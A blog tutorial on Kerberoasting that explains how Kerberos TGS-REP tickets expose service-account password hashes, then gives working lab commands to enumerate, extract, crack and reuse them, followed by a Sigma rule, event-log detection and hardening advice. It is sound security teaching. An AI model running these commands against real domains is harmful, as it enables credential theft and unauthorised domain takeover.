Kerberoasting From Zero: How TGS-REP Encryption Hands You Service Account Hashes

By Debraj Basak·Sep 12, 2026·21 min readActive Directory Exploitation

You have one thing: a single valid domain account. No local admin, no special group membership, nothing that looks like a privilege. In most Active Directory environments that is enough to walk away with the password hash of a SQL service account, crack it on your laptop overnight, and log in as that account tomorrow morning. No exploit, no memory corruption, no CVE. Just Kerberos doing exactly what it was designed to do.

That is Kerberoasting, and the reason it works is baked into the protocol itself.

Objective: Understand how the Kerberos TGS exchange cryptographically exposes service account credentials to any authenticated user, reproduce the full attack in a lab (enumeration, ticket extraction, offline cracking, and post-crack impact) from both Linux and Windows, and then build the detection and hardening that shuts it down.


1. Kerberos in Sixty Seconds: The Six-Step Handshake

Kerberos is a ticket-based authentication protocol. Everything happens inside a realm (the domain), and there are three players: the client (a user), the service (something the user wants to reach, like a SQL instance), and the Key Distribution Center (KDC), which runs on every Domain Controller. The KDC wears two hats: the Authentication Service (AS) proves who you are, and the Ticket Granting Service (TGS) hands out tickets for specific services.

Six messages carry the whole conversation. Learn these names, because the attack lives in exactly one of them.

StepMessageDirectionWhat Happens
1AS-REQClient to KDCClient requests a TGT, proving identity with pre-auth (timestamp encrypted with the user’s key)
2AS-REPKDC to ClientKDC returns a TGT encrypted with the krbtgt account key, plus a session key
3TGS-REQClient to KDCClient presents the TGT and asks for a ticket to a specific SPN
4TGS-REPKDC to ClientKDC returns a service ticket (TGS) encrypted with the service account’s key
5AP-REQClient to ServiceClient presents the service ticket to the service
6AP-REPService to ClientService optionally confirms mutual authentication

The TGT you get in step 2 is your “I am authenticated” badge. It is signed with the krbtgt hash, so you cannot forge or read it. But once you hold that TGT, step 3 lets you ask for a service ticket to any SPN in the domain, and the KDC will hand it over.

That is the crack in the wall. Hold that thought.


Flow diagram of the six-step Kerberos handshake showing AS-REQ, AS-REP, TGS-REQ, and TGS-REP messages between client, KDC Authentication Service, KDC Ticket Granting Service, and target service, with the TGS-REP step highlighted as the attack surface.
Step 4 (TGS-REP) is where the KDC hands the attacker ciphertext encrypted with the service account’s key – no access check performed, no questions asked.

2. Why the TGS-REP Is a Hash Factory

Look closely at step 4. The KRB_TGS_REP message has two encrypted parts:

  1. The service ticket itself, encrypted with the service account’s secret key. This part is meant for the service to open, not you.
  2. A session key, encrypted with your key, so you can use it to talk to the service.

Here is the design decision that makes Kerberoasting possible: the KDC does not check whether you are allowed to talk to that service. It does not verify that the service is even running. It looks up the SPN in Active Directory, finds the account backing it, encrypts the ticket with that account’s key, and ships it to you. Access control is the service’s job at step 5, not the KDC’s job at step 4.

So you receive ciphertext encrypted with the service account’s password-derived key. And you get to keep it. Offline. Forever.

The encrypted service ticket carries an ASN.1 structure called EncTicketPart:

// Simplified from RFC 4120 - the portion encrypted with the service key
typedef struct _EncTicketPart {
    TicketFlags     flags;         // forwardable, renewable, etc.
    EncryptionKey   key;           // client/service session key
    Realm           crealm;        // client's realm, e.g. LAB.LOCAL
    PrincipalName   cname;         // client principal
    TransitedEncoding transited;
    KerberosTime    authtime;
    KerberosTime    starttime;
    KerberosTime    endtime;
    // ... PAC embedded in authorization-data
} EncTicketPart;

When the service account’s key is the RC4 key (encryption type 23), that key is literally the account’s NTLM hash. RC4-HMAC derives the encryption directly from the NT hash of the password. So the ciphertext you hold was encrypted with a value that is a one-way function of the plaintext password. Guess a password, compute its NT hash, try to decrypt the ticket, and check whether the known plaintext structure comes out clean. If it does, you guessed the password.

That is the entire attack in one sentence: the service ticket is encrypted with a key derived from the service account password, so it is an offline brute-force oracle.

The etype negotiation is governed by the account attribute msDS-SupportedEncryptionTypes. If that attribute permits RC4, or is unset on an older account, the KDC will happily issue an RC4-encrypted ticket, and RC4 cracks far faster than AES. We come back to that.


Illustration of an ornate vault door opening by itself and spilling encrypted data into the hands of a shadowed attacker, symbolizing the KDC handing crackable ciphertext to any authenticated user by design.
The KDC hands you ciphertext encrypted with the service account’s own password-derived key – the vault opens itself, by design.

3. SPNs: Mapping the Attack Surface

A Service Principal Name is how Kerberos ties a running service to the account that runs it. The format is:

ServiceClass/Host:Port/ServiceName

For example MSSQLSvc/sqlserver.lab.local:1433. When a client wants to reach that SQL instance, it asks the KDC for a ticket to that exact SPN string. The KDC finds the account whose servicePrincipalName attribute contains that value and encrypts with that account’s key.

Two facts make SPNs the perfect attack-surface map:

  • Any object with a populated servicePrincipalName attribute is roastable, and that attribute is world-readable by any authenticated user via LDAP.
  • Computer accounts (names ending in $) also have SPNs, but their passwords are 120-character machine-generated strings rotated automatically. They are not viable cracking targets. You want user accounts with SPNs, because those passwords were typed by a human.

The takeaway: enumerate every user object with an SPN, ignore the $ accounts, and you have your target list before you send a single ticket request.


4. Building the Vulnerable Lab

Everything below runs against a lab you control. Do not point any of this at production you are not authorized to test.

The range is minimal:

  • DC01.lab.local – Windows Server 2019/2022, promoted to a Domain Controller for lab.local (192.168.56.10)
  • WS01.lab.local – Windows 10/11 domain-joined workstation (attacker pivot)
  • Kali Linux – optional attacker box with Impacket and hashcat (192.168.56.20)

Run this on DC01 after promotion to seed the intentionally weak service accounts:

# Run on DC01. Creates deliberately weak, roastable service accounts.
New-ADUser -Name "svc_sql"  -SamAccountName "svc_sql"  `
  -AccountPassword (ConvertTo-SecureString "Summer2023!" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true

New-ADUser -Name "svc_http" -SamAccountName "svc_http" `
  -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true

# Register SPNs - this is what makes the accounts Kerberoastable
setspn -A MSSQLSvc/sqlserver.lab.local:1433 lab\svc_sql
setspn -A HTTP/webserver.lab.local          lab\svc_http

# Create a low-privilege attacker account
New-ADUser -Name "lowpriv" -SamAccountName "lowpriv" `
  -AccountPassword (ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force) `
  -Enabled $true
# No output on success from New-ADUser / setspn -A returns:
Checking domain DC=lab,DC=local
Registering ServicePrincipalNames for CN=svc_sql,CN=Users,DC=lab,DC=local
        MSSQLSvc/sqlserver.lab.local:1433
Updated object

To make RC4 tickets available (fast cracking, lab only), permit RC4 via GPO under Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network security: Configure encryption types allowed for Kerberos, and enable RC4_HMAC_MD5. Run gpupdate /force afterward.

Your target list is now svc_sql (password Summer2023!) and svc_http (password Password1), both crackable from rockyou.txt with rules.


5. Enumeration: Finding the Roastable Accounts

Never fire ticket requests blind. First enumerate, because the LDAP query is quiet, tells you exactly what to target, and lets you prioritize by value before you generate a single Kerberos event.

Manual LDAP enumeration (native, no tools)

From any domain-joined box with the lowpriv credentials, the ADSI searcher walks LDAP directly:

# Native .NET LDAP query - no external binaries, no ticket requests yet
([adsisearcher]'(&(objectClass=user)(servicePrincipalName=*))').FindAll() |
  ForEach-Object {
    [PSCustomObject]@{
      Sam = $_.Properties['samaccountname'][0]
      SPN = $_.Properties['serviceprincipalname'] -join ', '
    }
  }
Sam       SPN
---       ---
svc_sql   MSSQLSvc/sqlserver.lab.local:1433
svc_http  HTTP/webserver.lab.local
krbtgt    kadmin/changepw

Notice krbtgt shows up with an SPN. Ignore it – it is a system account and you cannot roast it usefully. What matters is svc_sql and svc_http: both are user objects (no trailing $), both back real-sounding services. Those are your targets.

The (servicePrincipalName=*) filter is the entire attack surface. Because this attribute is readable by every authenticated principal, this query works from the lowest-privilege account in the domain.

Enumeration from Linux (Impacket)

The same enumeration from Kali, without requesting tickets:

GetUserSPNs.py lab.local/lowpriv:'Passw0rd!' -dc-ip 192.168.56.10
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName               Name      MemberOf  PasswordLastSet             LastLogon  Delegation
---------------------------------  --------  --------  --------------------------  ---------  ----------
MSSQLSvc/sqlserver.lab.local:1433  svc_sql             2023-06-14 09:22:11.123456  <never>
HTTP/webserver.lab.local           svc_http            2023-06-14 09:23:02.654321  <never>

The PasswordLastSet column is gold for prioritization. An account whose password has not changed in years is almost certainly a legacy human-set password. The MemberOf column tells you which targets are privileged: an SPN account that also sits in Domain Admins is the jackpot.

Rubeus pre-attack survey (Windows)

On WS01, Rubeus can survey the environment and estimate your cracking budget before you touch a ticket:

.\Rubeus.exe kerberoast /stats
[*] Action: Kerberoasting

[*] Listing statistics about target accounts, no ticket requests being performed.

[*] Total kerberoastable users : 2

 ----------------------------------------------------
 | Supported Encryption Type       | Count           |
 ----------------------------------------------------
 | RC4_HMAC_DEFAULT                | 2               |
 ----------------------------------------------------

 ----------------------------------------------------
 | Password Last Set Year          | Count           |
 ----------------------------------------------------
 | 2023                            | 2               |
 ----------------------------------------------------

Two RC4-defaulting accounts. Both will yield etype 23 hashes (hashcat mode 13100), the fastest to crack. This survey is what an operator runs first to decide whether the effort is worth it.


6. Attack Walkthrough from Linux (Impacket)

With targets identified, add -request to GetUserSPNs.py. This drives the full TGS-REQ / TGS-REP exchange under the hood and writes the resulting hashes to disk.

Request every roastable ticket

GetUserSPNs.py lab.local/lowpriv:'Passw0rd!' \
  -dc-ip 192.168.56.10 \
  -request \
  -outputfile kerberoast.hashes
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName               Name      MemberOf  PasswordLastSet             LastLogon  Delegation
---------------------------------  --------  --------  --------------------------  ---------  ----------
MSSQLSvc/sqlserver.lab.local:1433  svc_sql             2023-06-14 09:22:11.123456  <never>
HTTP/webserver.lab.local           svc_http            2023-06-14 09:23:02.654321  <never>

[*] Writing hashes to kerberoast.hashes

Target a single high-value account

Spraying requests for every SPN generates a burst of Event ID 4769 on the DC, which is exactly the noise defenders hunt for. When you already know the prize, request just one:

GetUserSPNs.py lab.local/lowpriv:'Passw0rd!' \
  -dc-ip 192.168.56.10 \
  -request-user svc_sql \
  -outputfile svc_sql.hash
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName               Name     MemberOf  PasswordLastSet             LastLogon
---------------------------------  -------  --------  --------------------------  ---------
MSSQLSvc/sqlserver.lab.local:1433  svc_sql            2023-06-14 09:22:11.123456  <never>

[*] Writing hashes to svc_sql.hash

Inspect what landed on disk:

cat svc_sql.hash
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/sqlserver.lab.local:1433*$
a1b2c3d4e5f6071829aabbccddeeff00$5f3d9c1e77b40a2e6c8d...<~2000 hex chars>...
9e7f01ab34cd56ef78

Break down that header, because it tells you everything you need for cracking:

$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/sqlserver.lab.local:1433*$<checksum>$<ciphertext>
          ^^
          etype 23 = RC4-HMAC  ->  hashcat mode 13100

The 23 is the encryption type. RC4. That maps to hashcat mode 13100. If you ever see 18, that is AES256 (mode 19700), and 17 is AES128 (mode 19600).


7. Attack Walkthrough from Windows (Rubeus and Native .NET)

On an internal engagement you are often already sitting on a domain-joined Windows host. Rubeus is the standard here, and it never has to touch LSASS to roast, because it performs the TGS-REQ itself using the current logon session’s TGT.

Targeted roast, minimal noise

.\Rubeus.exe kerberoast /user:svc_sql /nowrap /outfile:hashes.txt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Kerberoasting

[*] Target User            : svc_sql
[*] Target Domain          : lab.local
[*] Searching path 'LDAP://DC01.lab.local/DC=lab,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=svc_sql))'

[*] Total kerberoastable users : 1

[*] SamAccountName         : svc_sql
[*] DistinguishedName      : CN=svc_sql,CN=Users,DC=lab,DC=local
[*] ServicePrincipalName   : MSSQLSvc/sqlserver.lab.local:1433
[*] PwdLastSet             : 6/14/2023 9:22:11 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash written to C:\Users\lowpriv\hashes.txt

/nowrap keeps each hash on a single line so it drops straight into hashcat. Without it, Rubeus wraps the base64 and you spend ten minutes fighting line breaks. I have made that mistake at 2am. Use /nowrap.

Roast only privileged accounts

Requesting every SPN is loud. Filtering to accounts that actually matter cuts the volume and the risk:

.\Rubeus.exe kerberoast /ldapfilter:"(admincount=1)" /nowrap /outfile:hashes.txt
[*] Action: Kerberoasting

[*] Using additional LDAP filter: (admincount=1)
[*] Total kerberoastable users : 1

[*] SamAccountName         : svc_backup_adm
[*] ServicePrincipalName   : BACKUPSVC/backup.lab.local
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash written to C:\Users\lowpriv\hashes.txt

The admincount=1 filter surfaces accounts protected by AdminSDHolder, meaning they are or were in a privileged group. An SPN account with admincount=1 is a direct path to Tier-0.

RC4 opsec mode

Rubeus can request only tickets that come back RC4 without forcing a downgrade on AES-enabled accounts, which avoids the tell-tale “AES account suddenly requested with RC4” anomaly:

.\Rubeus.exe kerberoast /rc4opsec /nowrap /outfile:hashes.txt
[*] Action: Kerberoasting

[*] Using 'rc4opsec' to disable AES enabled accounts from being roasted.
[*] Roasting accounts that only support RC4_HMAC, avoiding AES-enabled targets.
[*] Total kerberoastable users : 2
[*] Roasted hashes written to : C:\Users\lowpriv\hashes.txt

Pure .NET, no Rubeus on disk

If dropping a known tool is off the table, .NET can request a service ticket natively. This loads the ticket into your session’s Kerberos cache (LSASS), from where it can be exported with Mimikatz:

Add-Type -AssemblyName System.IdentityModel
$token = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
  -ArgumentList "MSSQLSvc/sqlserver.lab.local:1433"
$token.GetRequest() | Out-Null
klist
Current LogonId is 0:0x3e7f2

Cached Tickets: (2)

#0>     Client: lowpriv @ LAB.LOCAL
        Server: krbtgt/LAB.LOCAL @ LAB.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

#1>     Client: lowpriv @ LAB.LOCAL
        Server: MSSQLSvc/sqlserver.lab.local:1433 @ LAB.LOCAL
        KerbTicket Encryption Type: RC4-HMAC(NT)
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize

Ticket #1 for MSSQLSvc is now cached with RC4-HMAC encryption. Export it with mimikatz # kerberos::list /export, then convert the resulting .kirbi to a crackable hash with kirbi2john or tgsrepcrack. The point is that requesting the ticket needs no privilege at all; it is a legitimate Kerberos operation.


8. Encryption Types: RC4 vs AES and the Downgrade

The encryption type embedded in the hash header decides your cracking budget. This is not a minor detail, it is the difference between cracking overnight and cracking never.

etypeNameHash PrefixHashcat ModeRelative Speed
23RC4_HMAC_MD5$krb5tgs$23$*13100Fastest (baseline)
17AES128-CTS-HMAC-SHA1-96$krb5tgs$17$*19600Much slower
18AES256-CTS-HMAC-SHA1-96$krb5tgs$18$*19700Slowest (roughly 20 to 40x slower than RC4)

RC4 cracks fast because deriving the key is a single MD4 of the UTF-16 password (the NT hash), then RC4. AES requires a PBKDF2 (4096 iterations of HMAC-SHA1) key derivation per guess, which is enormously more expensive per candidate.

This is why attackers try to force RC4. If an account’s msDS-SupportedEncryptionTypes still permits RC4, the KDC will issue an RC4 ticket on request even in an otherwise AES environment. That is the RC4 downgrade, and Rubeus /tgtdeleg and similar tricks manipulate the request to prefer it.

Do not reflexively skip AES hashes. On a high-value account, an AES-256 hash against a weak password still falls. Slower is not the same as safe. If you have found the SQL admin’s ticket and it is AES, run hashcat -m 19700 and let the rig work.


Hierarchy diagram branching from a TGS-REQ node into three encryption type paths - RC4-HMAC etype 23 leading to fast cracking at 876 MH/s, AES-128 etype 17, and AES-256 etype 18 both leading to 20 to 40 times slower cracking - illustrating why attackers force RC4 downgrades.
RC4 keys derive directly from the NT hash via a single MD4, making them orders of magnitude faster to crack than AES, which requires 4096 PBKDF2 iterations per guess.

9. Cracking the Hashes Offline

This is where the “authenticated user gets a free brute-force oracle” payoff cashes in. Everything from here is offline, on your hardware, invisible to the domain.

RC4 with rockyou

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc_http$LAB.LOCAL$HTTP/webserver.lab.local*$...:Password1
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/sqlserver.lab.local:1433*$...:Summer2023!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 2/2 (100.00%) Digests
Speed.#1.........:   876.4 MH/s (5.12ms)

Both cracked. svc_http was Password1 straight from the wordlist. svc_sql needed a rule.

RC4 with rules for real passwords

Service accounts rarely use bare dictionary words. They use Summer2023!, Company#2024, Backup01!. Rules mutate the wordlist to catch exactly those patterns:

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/sqlserver.lab.local:1433*$...:Summer2023!

Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests

best64 applies season and year suffixes, capitalization, and trailing symbols, which is precisely how humans build service account passwords.

AES variants

# AES-128 (etype 17)
hashcat -m 19600 kerberoast.hashes /usr/share/wordlists/rockyou.txt

# AES-256 (etype 18)
hashcat -m 19700 kerberoast.hashes /usr/share/wordlists/rockyou.txt

John the Ripper alternative

john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs kerberoast.hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Password1        (?)
Summer2023!      (?)
2g 0:00:00:07 DONE (2024-05-01 12:14) 0.2597g/s ...

Two service account passwords recovered without ever touching the accounts they belong to.


10. Targeted Kerberoasting via SPN Injection

Classic Kerberoasting only works against accounts that already have an SPN. But what if you find an account with a weak password and no SPN, and you happen to hold write access over its servicePrincipalName attribute? You add an SPN, roast it, then remove the SPN. This is targeted Kerberoasting, and it maps to T1098 (Account Manipulation) because you are modifying an account.

Enumerate write access first

Before you can inject an SPN, confirm you actually have the right. PowerView surfaces the DACL:

Get-DomainObjectAcl -Identity "victim_user" -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll" } |
  Select-Object SecurityIdentifier, ActiveDirectoryRights, ObjectAceType
SecurityIdentifier                            ActiveDirectoryRights ObjectAceType
------------------                            --------------------- -------------
S-1-5-21-3623811015-3361044348-30300820-1201  WriteProperty         Service-Principal-Name

That ACE means the SID (which resolves to lowpriv) can write the Service-Principal-Name property on victim_user. That is the exact permission the attack needs. Without confirming this ACE, injection fails, and a failed write attempt is itself an alert-worthy event.

Inject, roast, clean up

targetedKerberoast.py -u lowpriv -p 'Passw0rd!' -d lab.local \
  --dc-ip 192.168.56.10 \
  --request-user victim_user \
  -o targeted.hash
[*] Starting kerberoast attacks
[*] Attacking user (victim_user)
[+] Writing SPN kerberoast_1a2b3c to victim_user's servicePrincipalName
[+] Printing hash for (victim_user)
$krb5tgs$23$*victim_user$LAB.LOCAL$victim_user*$3f2a...<snip>...c91e
[+] Deleting SPN kerberoast_1a2b3c from victim_user's servicePrincipalName

The tool adds a throwaway SPN, requests the ticket, and deletes the SPN. Two AD write operations, which is why this variant is noisier than classic roasting. On a DC with Directory Service Changes auditing enabled, both the add and the delete of servicePrincipalName land as Event ID 5136. Pair your detection accordingly.


11. Post-Crack Impact: From Service Account to Domain Foothold

A cracked service account password is a valid credential (T1078). What it unlocks depends on where that account sits, which is why enumerating MemberOf back in section 5 mattered.

Validate the credential

crackmapexec smb 192.168.56.10 -u svc_sql -p 'Summer2023!' -d lab.local
SMB  192.168.56.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local)
SMB  192.168.56.10  445  DC01  [+] lab.local\svc_sql:Summer2023!

The [+] confirms the credential authenticates. If CrackMapExec had returned (Pwn3d!), that account also holds local admin on the target, an immediate lateral-movement and code-execution path.

Check what the account can reach

crackmapexec smb 192.168.56.0/24 -u svc_sql -p 'Summer2023!' -d lab.local --shares
SMB  192.168.56.15  445  APPSRV01  [+] lab.local\svc_sql:Summer2023! (Pwn3d!)
SMB  192.168.56.15  445  APPSRV01  [+] Enumerated shares
SMB  192.168.56.15  445  APPSRV01  Share      Permissions   Remark
SMB  192.168.56.15  445  APPSRV01  -----      -----------   ------
SMB  192.168.56.15  445  APPSRV01  C$         READ,WRITE    Default share
SMB  192.168.56.15  445  APPSRV01  ADMIN$     READ,WRITE    Remote Admin

(Pwn3d!) on APPSRV01 means svc_sql is a local admin there. From here you dump credentials, move laterally, and hunt for a Tier-0 hash. If the cracked account itself is in Domain Admins, you are done: one LDAP query, one ticket request, one offline crack, and the domain is yours. That is why service account hygiene is a Tier-0 problem, not a “just a service account” problem.


12. Common Attacker Techniques

TechniqueDescription
Classic KerberoastingAny domain user requests TGS tickets for all SPN-bearing user accounts and cracks them offline
Targeted / delegated SPN abuseAttacker with write rights on servicePrincipalName sets an SPN, roasts, then removes it
RC4 downgradeForce RC4 (etype 23) tickets even where AES is available, for far faster cracking
AES KerberoastingRoast AES (etype 17/18) hashes anyway on high-value targets; slower but still crackable
Roasting without touching LSASSRequest tickets via Impacket or direct KDC traffic on TCP/88, avoiding LSASS interaction entirely
Native .NET requestsUse KerberosRequestorSecurityToken to load tickets into cache with no third-party binary on disk

13. Defensive Strategies & Detection

Kerberoasting is defined by volume and encryption type, not by any single malicious event. A TGS request is a normal, constant part of AD life. The signal is in the pattern.

Enable the right audit policy

Turn on Audit Kerberos Service Ticket Operations (Account Logon) on Domain Controllers. This produces:

  • Event ID 4769 – A Kerberos service ticket was requested (the core signal)
  • Event ID 4770 – A Kerberos service ticket was renewed

The fields that separate roasting from noise inside 4769:

FieldKerberoasting ValueWhy It Matters
Ticket Encryption Type0x17 (RC4)On modern AES domains, RC4 requests are the exception, not the rule
Ticket Options0x40810000Forwardable + renewable + canonicalize, common in tool-generated requests
Service Nameends with $Filter these OUT; computer accounts are not roasting targets
Client Addresssingle host, many SPNsOne host requesting many distinct services fast is the highest-fidelity signal

Detect PowerShell-based roasting

Invoke-Kerberoast and similar scripts show up in PowerShell logs. Enable module logging and script block logging and watch Event IDs 4103 and 4104 for calls into KerberosRequestorSecurityToken and SPN enumeration.

Watch the reconnaissance stage

The LDAP query for servicePrincipalName precedes the ticket burst. The Microsoft-Windows-LDAP-Client ETW provider (GUID {099614A5-5DD7-4788-8BC9-E29F43DB28FC}), consumed via SilkETW, surfaces suspicious (servicePrincipalName=*) searches. On the KDC side, Microsoft-Windows-Kerberos-Key-Distribution-Center logs issuance anomalies.

Sysmon corroboration

Sysmon Event IDUsage
Event ID 1 (Process Create)Rubeus.exe, python GetUserSPNs.py, Invoke-Kerberoast parent chains
Event ID 3 (Network Connection)Non-browser processes connecting to a DC on TCP/88
Event ID 10 (Process Access)LSASS access via LsaCallAuthenticationPackage when tickets are dumped from memory
Event ID 11 (File Create).kirbi files written when tickets are exported to disk

Sigma rule for RC4 TGS requests

title: Kerberoasting - RC4 TGS Requested
id: 4f5e2a9c-1b3d-4c7e-9f0a-2d6b8c1e7a44
status: stable
description: Detects Kerberos TGS requests using RC4 encryption (etype 0x17), indicative of Kerberoasting
references:
  - https://attack.mitre.org/techniques/T1558/003/
author: GenXCyber
tags:
  - attack.credential_access
  - attack.t1558.003
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
  filter_computer_accounts:
    ServiceName|endswith: '$'
  filter_krbtgt:
    ServiceName: 'krbtgt'
  condition: selection and not filter_computer_accounts and not filter_krbtgt
falsepositives:
  - Legacy systems that only support RC4 (NetApp, older Linux clients)
  - Cross-forest trusts not yet configured for AES
level: high

For the volume signal, layer a threshold variant on top: aggregate count() by SubjectUserName over a one-minute window and alert when a single user requests TGS tickets for more than five distinct service accounts. A 3-sigma statistical baseline per host catches the slow-and-low operators who stay under a fixed count.

Honeypot accounts (the highest-fidelity control)

Create a decoy SPN-bearing account, for example svc_backup, with a long random password that is never used by any real service. Nothing legitimate ever requests a ticket for it. Any Event ID 4769 naming that service is a guaranteed true positive. This is the single cheapest, most reliable Kerberoasting detection you can deploy today.


Illustration of a glowing digital honeypot vessel in the foreground attracting shadowed attacker figures, with a transparent shield wall of security controls rising behind it, representing layered Kerberoasting defenses including honeypot SPN accounts and AES enforcement.
A honeypot SPN account costs minutes to deploy and delivers guaranteed true-positive detections – any ticket request for it is an attacker, not a service.

14. Hardening & Defense

ControlDetail
Group Managed Service Accounts (gMSA)Machine-managed 240-character passwords, rotated automatically. Effectively uncrackable. The correct answer for almost every service account
Enforce AES-onlySet msDS-SupportedEncryptionTypes to 0x18 (AES128 + AES256) on service accounts and disable RC4 via GPO. Removes the fast-crack path
Long service account passwordsWhere gMSA is impossible, mandate 25+ character random passwords with rotation. Length beats complexity against offline cracking
Audit SPN assignmentsRun setspn -Q */* regularly; alert on servicePrincipalName writes via Directory Service Changes (Event ID 5136) on user objects
Tiered account modelTier-0 service accounts must use gMSA or 100+ character passwords. Never let a Domain Admin carry an SPN
Least-privilege SPNsRemove SPNs from accounts that no longer host a service with setspn -D

The strategic point: Kerberoasting is not a Kerberos flaw you patch. It is a consequence of the protocol handing crackable ciphertext to authenticated users. You defeat it by making the ciphertext uncrackable (gMSA, AES, length) and by watching the request pattern.


15. Tools for Kerberoasting Analysis

ToolDescriptionLink
Impacket GetUserSPNs.pySPN enumeration and TGS-REP extraction from Linuxgithub.com
RubeusWindows-native roasting, filtering, and opsec modesgithub.com
targetedKerberoast.pySPN injection for targeted Kerberoastinggithub.com
hashcatOffline cracking, modes 13100 / 19600 / 19700hashcat.net
John the RipperAlternative cracker, --format=krb5tgsopenwall.com
PowerViewLDAP enumeration and DACL discoverygithub.com
CrackMapExecCredential validation and lateral-movement mappinggithub.com
MimikatzTicket export from the Kerberos cachegithub.com
SilkETWETW consumer for LDAP-Client provider recon detectiongithub.com

16. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Steal or Forge Kerberos Tickets: KerberoastingT1558.003Event ID 4769 RC4 requests; volume anomalies; honeypot SPNs
Steal or Forge Kerberos Tickets (parent)T1558Kerberos ticket issuance monitoring on the KDC
Brute ForceT1110Offline; not directly observable, detect the ticket request phase instead
Account ManipulationT1098Event ID 5136 on servicePrincipalName writes (targeted roasting)
Valid AccountsT1078Anomalous service account logons after a crack
Remote System DiscoveryT1018LDAP-Client ETW for SPN enumeration

CARBON SPIDER, FIN7, and UNC2165 (later LockBit-affiliated) have all used T1558.003 in real intrusions. This is not a theoretical technique; it is a staple of the ransomware playbook precisely because it converts a nobody account into a domain compromise.


Summary

  • Kerberoasting works because the KDC encrypts a service ticket with the service account’s password-derived key and hands it to any authenticated user, turning TGS-REP into an offline brute-force oracle.
  • Enumerate first: (servicePrincipalName=*) over LDAP is world-readable and reveals every roastable user account before you send a single ticket request.
  • RC4 tickets (etype 23, hashcat mode 13100) crack 20 to 40 times faster than AES, which is why attackers force RC4 downgrades wherever msDS-SupportedEncryptionTypes permits it.
  • Targeted Kerberoasting abuses servicePrincipalName write rights (T1098) to inject an SPN, roast, and clean up, generating Event ID 5136 on the way.
  • Detect via Event ID 4769 filtered on RC4 (0x17), volume anomalies per source, LDAP-Client ETW for recon, and honeypot SPN accounts for guaranteed true positives.
  • Kill it for good with gMSA, AES enforcement, and 25+ character passwords: make the ciphertext uncrackable and the attack collapses.

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.